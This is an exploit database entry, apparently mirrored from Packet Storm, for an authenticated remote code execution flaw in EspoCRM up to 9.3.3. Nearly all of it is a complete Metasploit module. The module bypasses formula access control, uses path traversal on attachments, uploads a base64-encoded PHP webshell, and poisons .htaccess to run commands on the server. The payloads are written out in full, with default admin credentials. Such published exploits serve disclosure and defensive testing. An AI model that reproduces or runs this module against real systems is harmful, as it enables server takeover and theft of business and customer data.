Lucene search
+L

📄 EspoCRM 9.3.3 Remote Code Execution

🗓️ 17 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 125 Views

EspoCRM authenticated RCE up to 9.3.3 via formula bypass, attachment abuse, path traversal, and webshell.

Related
Code
==================================================================================================================================
    | # Title     : EspoCRM ≤ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/download/upgrades/                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
    
    [+] The exploit chain works as follows:
    
    Authenticates to the EspoCRM API using provided credentials.
    Creates a malicious attachment entry via the Attachment API.
    Abuses a Formula Engine endpoint to bypass ACL restrictions.
    Uses the formula execution to manipulate internal attachment paths (path traversal).
    Uploads a PHP webshell payload through chunked attachment upload.
    Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
    Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
            'Description' => %q{
              Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
              [ 'CVE', '2026-33656' ]
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-01-01'
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username', 'admin']),
            OptString.new('PASSWORD', [true, 'Password', 'admin'])
          ]
        )
      end
    
      def auth_headers
        creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
        token = Rex::Text.encode_base64(creds)
    
        {
          'Espo-Authorization' => token
        }
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'headers' => auth_headers
        )
    
        return Exploit::CheckCode::Detected if res && res.code == 200
        Exploit::CheckCode::Safe
      end
    
      def create_attachment(name, content_type, size)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'name' => name,
            'type' => content_type,
            'role' => 'Attachment',
            'relatedType' => 'Document',
            'field' => 'file',
            'isBeingUploaded' => true,
            'size' => size
          }.to_json
        )
    
        return nil unless res && res.code == 200
        res.get_json_document&.dig('id')
      end
    
      def run_formula(attachment_id, source_path)
        expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/json'
          }),
          'data' => {
            'expression' => expr,
            'targetType' => nil,
            'targetId' => nil
          }.to_json
        )
    
        return false unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        json && json['isSuccess'] == true
      end
    
      def upload_chunk(attachment_id, payload_base64)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
          'headers' => auth_headers.merge({
            'Content-Type' => 'application/octet-stream'
          }),
          'data' => "data:application/octet-stream;base64,#{payload_base64}"
        )
      end
    
      def exploit
        print_status("Creating attachment...")
        shell_id = create_attachment('shell.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
    
        print_good("Attachment ID: #{shell_id}")
    
        print_status("Bypassing ACL via formula...")
        fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
    
        print_good("Path traversal set")
    
        print_status("Uploading PHP payload...")
        php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
        upload_chunk(shell_id, php_payload)
    
        print_good("Webshell written")
    
        print_status("Creating .htaccess entry...")
        ht_id = create_attachment('ht.txt', 'text/plain', 0)
        fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
    
        fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
    
        ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
        upload_chunk(ht_id, ht_payload)
    
        print_good(".htaccess poisoned")
    
        webshell = normalize_uri(target_uri.path, 'client/x')
    
        print_status("Executing: #{webshell}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell,
          'vars_get' => {
            'c' => 'whoami'
          }
        )
    
        if res && res.code == 200
          print_good("Execution success")
          print_line(res.body.to_s) if res.body
        else
          fail_with(Failure::UnexpectedReply, "Execution failed")
        end
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
EPSS0.005
SSVC
125